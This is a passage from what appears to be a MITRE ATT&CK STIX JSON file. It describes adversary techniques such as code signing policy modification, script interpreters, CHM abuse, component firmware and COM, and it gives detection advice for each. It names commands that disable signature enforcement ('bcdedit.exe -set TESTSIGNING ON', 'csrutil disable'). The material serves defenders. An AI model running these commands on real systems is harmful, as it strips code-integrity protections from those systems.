            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)."
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1553.006",
                    "url": "https://attack.mitre.org/techniques/T1553/006"
                },
                {
                    "source_name": "Microsoft DSE June 2017",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN",
                    "description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021."
                },
                {
                    "source_name": "Apple Disable SIP",
                    "url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection",
                    "description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021."
                },
                {
                    "source_name": "Microsoft Unsigned Driver Apr 2017",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test",
                    "description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021."
                },
                {
                    "source_name": "Microsoft TESTSIGNING Feb 2021",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option",
                    "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021."
                },
                {
                    "source_name": "FireEye HIKIT Rootkit Part 2",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."
                },
                {
                    "source_name": "GitHub Turla Driver Loader",
                    "url": "https://github.com/hfiref0x/TDL",
                    "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021."
                },
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                },
                {
                    "source_name": "Unit42 AcidBox June 2020",
                    "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/",
                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Code Signing Policy Modification",
            "description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)",
            "id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "type": "attack-pattern",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-26T15:41:39.155Z",
            "created": "2021-04-23T01:04:57.161Z",
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as <code>bcdedit.exe -set TESTSIGNING ON</code>.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as <code>HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing</code>. Modifications to the code signing policy of a system are likely to be rare.",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Process: Process Creation"
            ],
            "x_mitre_contributors": [
                "Abel Morales, Exabeam"
            ],
            "x_mitre_defense_bypassed": [
                "Application control",
                "User Mode Signature Validation",
                "Digital Certificate Validation"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS"
            ]
        },
        {
            "created": "2017-05-31T21:30:49.546Z",
            "modified": "2021-04-27T19:21:06.164Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "type": "attack-pattern",
            "revoked": false,
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1059",
                    "url": "https://attack.mitre.org/techniques/T1059"
                }
            ],
            "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.",
            "name": "Command and Scripting Interpreter",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
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                "Script: Script Execution"
            ],
            "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_is_subtechnique": false
        },
        {
            "created": "2017-05-31T21:30:42.657Z",
            "modified": "2020-07-06T17:54:28.071Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1043",
                    "url": "https://attack.mitre.org/techniques/T1043"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "description": "**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)",
            "name": "Commonly Used Port",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_deprecated": true
        },
        {
            "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Communication Through Removable Media",
            "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1092",
                    "external_id": "T1092"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-07-14T19:44:50.871Z",
            "created": "2017-05-31T21:31:09.379Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_network_requirements": false,
            "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media is mounted.",
            "x_mitre_data_sources": [
                "Drive: Drive Creation",
                "Drive: Drive Access"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1500",
                    "url": "https://attack.mitre.org/techniques/T1500"
                },
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "source_name": "TrendMicro WindowsAppMac",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/",
                    "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019."
                }
            ],
            "name": "Compile After Delivery",
            "id": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-16T15:38:37.650Z",
            "created": "2019-04-25T20:53:07.719Z"
        },
        {
            "created": "2020-03-16T15:30:57.711Z",
            "modified": "2020-03-29T20:59:32.293Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617",
            "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)",
            "name": "Compile After Delivery",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1027.004",
                    "url": "https://attack.mitre.org/techniques/T1027/004"
                },
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "source_name": "TrendMicro WindowsAppMac",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/",
                    "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019."
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_contributors": [
                "Praetorian",
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
            ],
            "x_mitre_data_sources": [
                "File: File Metadata",
                "File: File Creation",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.",
            "x_mitre_defense_bypassed": [
                "Signature-based detection",
                "Host intrusion prevention systems",
                "Anti-virus",
                "Binary Analysis",
                "Static File Analysis"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_system_requirements": [
                "Compiler software (either native to the system or delivered by the adversary)"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a",
            "name": "Compiled HTML File",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1223",
                    "url": "https://attack.mitre.org/techniques/T1223"
                },
                {
                    "source_name": "Microsoft HTML Help May 2018",
                    "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"
                },
                {
                    "source_name": "Microsoft HTML Help ActiveX",
                    "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
                    "url": "https://msdn.microsoft.com/windows/desktop/ms644670"
                },
                {
                    "url": "https://msdn.microsoft.com/windows/desktop/ms524405",
                    "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
                    "source_name": "Microsoft HTML Help Executable Program"
                },
                {
                    "url": "https://msitpros.com/?p=3909",
                    "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
                    "source_name": "MsitPros CHM Aug 2017"
                },
                {
                    "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625",
                    "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
                    "source_name": "Microsoft CVE-2017-8625 Aug 2017"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T18:59:00.845Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
            "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",
            "name": "Compiled HTML File",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.001",
                    "url": "https://attack.mitre.org/techniques/T1218/001"
                },
                {
                    "source_name": "Microsoft HTML Help May 2018",
                    "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"
                },
                {
                    "source_name": "Microsoft HTML Help ActiveX",
                    "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
                    "url": "https://msdn.microsoft.com/windows/desktop/ms644670"
                },
                {
                    "source_name": "Microsoft HTML Help Executable Program",
                    "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
                    "url": "https://msdn.microsoft.com/windows/desktop/ms524405"
                },
                {
                    "source_name": "MsitPros CHM Aug 2017",
                    "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
                    "url": "https://msitpros.com/?p=3909"
                },
                {
                    "source_name": "Microsoft CVE-2017-8625 Aug 2017",
                    "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
                    "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-20T22:32:24.589Z",
            "created": "2020-01-23T18:53:54.377Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation",
                "Application control"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "Command: Command Execution"
            ],
            "x_mitre_contributors": [
                "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"
            ]
        },
        {
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1109",
                    "url": "https://attack.mitre.org/techniques/T1109"
                },
                {
                    "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.",
                    "source_name": "SanDisk SMART"
                },
                {
                    "url": "https://www.smartmontools.org/",
                    "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
                    "source_name": "SmartMontools"
                },
                {
                    "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
                    "source_name": "ITWorld Hard Disk Health Dec 2014"
                }
            ],
            "name": "Component Firmware",
            "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
            "type": "attack-pattern",
            "modified": "2020-10-23T15:04:14.614Z",
            "created": "2017-05-31T21:31:22.374Z"
        },
        {
            "created": "2019-12-19T20:21:21.669Z",
            "modified": "2020-03-23T23:48:33.904Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4",
            "description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
            "name": "Component Firmware",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1542.002",
                    "url": "https://attack.mitre.org/techniques/T1542/002"
                },
                {
                    "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.",
                    "source_name": "SanDisk SMART"
                },
                {
                    "url": "https://www.smartmontools.org/",
                    "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
                    "source_name": "SmartMontools"
                },
                {
                    "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
                    "source_name": "ITWorld Hard Disk Health Dec 2014"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Driver: Driver Metadata",
                "Firmware: Firmware Modification",
                "Process: OS API Execution"
            ],
            "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Host intrusion prevention systems",
                "File monitoring"
            ],
            "x_mitre_permissions_required": [
                "SYSTEM"
            ],
            "x_mitre_system_requirements": [
                "Ability to update component device firmware from the host operating system."
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
            "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",
            "name": "Component Object Model",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1559.001",
                    "url": "https://attack.mitre.org/techniques/T1559/001"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM"
                },
                {
                    "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html",
                    "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
                    "source_name": "ProjectZero File Write EoP Apr 2018"
                },
                {
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017"
                },
                {
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "source_name": "Enigma MMC20 COM Jan 2017"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-03-28T19:30:52.639Z",
            "created": "2020-02-12T14:09:53.107Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Process: Process Creation",
                "Script: Script Execution"
            ]
        },
        {
            "revoked": true,
            "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
            "name": "Component Object Model Hijacking",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1122",
                    "url": "https://attack.mitre.org/techniques/T1122"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms694363.aspx",
                    "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
                    "source_name": "Microsoft Component Object Model"
                },
                {
                    "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
                    "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
                    "source_name": "GDATA COM Hijacking"
                },
                {
                    "source_name": "Elastic COM Hijacking",
                    "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
                }
            ],
            "type": "attack-pattern",
